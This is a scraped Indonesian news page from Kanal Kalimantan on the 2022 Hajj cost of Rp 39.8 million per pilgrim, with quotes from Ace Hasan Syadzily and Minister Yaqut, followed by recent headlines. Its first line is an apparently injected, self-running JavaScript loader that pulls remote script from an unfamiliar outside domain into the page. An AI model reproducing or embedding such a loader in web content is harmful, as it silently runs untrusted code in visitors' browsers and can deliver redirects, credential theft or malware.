(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemerintah Putuskan Biaya Haji 2022 Sebesar Rp 39,8 Juta


KANALKALIMANTAN.COM – Biaya ibadah haji tahun 2022 sebesar Rp 39.886.009 per jemaah. Besaran biaya itu sudah diputuskan Komisi VIII DPR dan pemerintah melalui Menteri Agama RI Yaqut Cholil Qoumas.

Wakil Ketua Komisi VIII, Ace Hasan Syadzily mengatakan, biaya haji tersebut lebih tinggi dibanding tahun 2020 yang ditetapkan sebesar Rp 35 juta.

Kendati begitu, kata Ace, sekalipun terjadi kenaikkan, biaya haji tambahan tersebut tidak dibebankan kepada calon jemaah.

“Tambahan biaya jemaah haji lunas tunda tahun 1441 H/2020 M dibebankan kepada alokasi virtual account yang telah dimiliki para calon jemaah Haji tahun 2020 yang selama ini dikelola oleh Badan Pengelola Keuangan Haji (BPKH) RI,” kata Ace dalam keterangan tertulis, Rabu (13/4/2022).

 

Baca juga  : Kebakaran Mal Tunjungan Plaza, Pengunjung Panik

Ace berujar Komisi VIII dan pemerintah telah menyepakati besaran rata-rata Biaya Penyelenggaraan Ibadah Haji (BPIH) Tahun 1443 H/2022 M per jemaah, di mana jemaah haji reguler sebesar Rp 81.747.844.

“Penetapan biaya ini menggunakan asumsi kuota haji Indonesia tahun 1443 H/2022 M yang dijadikan dasar pembahasan BPIH sebanyak 110.500 jemaah atau sebanyak 50 persen dari kuota haji tahun 2019, dengan rincian kuota untuk jemaah haji reguler sebanyak 101.660 dan haji khusus sebanyak 8.840 orang,” tutur Ace.

Seiring dengan kenaikkan biaya haji, Ace mengatakan, bahwa DPR dan pemerintah berkomitmen untuk memaksimalkan pelayanan kepada jemaah haji tahun 1443H/2022M.

“Kami tetap mendorong agar pelaksanaan haji di era pandemi ini tetap memperhatikan protokol kesehatan,” kata Ace.

 

Baca juga : Menuju Malam Puncak Festival Salikur Banjarbaru, Ini Bocoran Dari Para Juri! 

“Para calon jemaah haji akan tinggal selama 41 hari di Arab Saudi. Salah satu pelayanan yang kami tingkatkan, yaitu layanan peningkatan volume makan jemaah haji di Mekkah dan Madinah dari 2 (dua) kali per hari menjadi 3 (tiga) kali per hari,” kata Ace.

Hal senada juga dikatakan Menag Yaqut dalam rapat bersama di Komisi VIII DPR.

“Besaran rata-rata Biaya Penyelenggaraan Ibadah Haji atau BPIH tahun 1433 Hijriah 2022 Masehi per jemaah sebesar Rp 81.747.844,04 terdiri dari Bipih rata-rata sebesar Rp 39.886.009,” ujar Yaqut. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

3 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

5 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

6 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

6 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

14 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.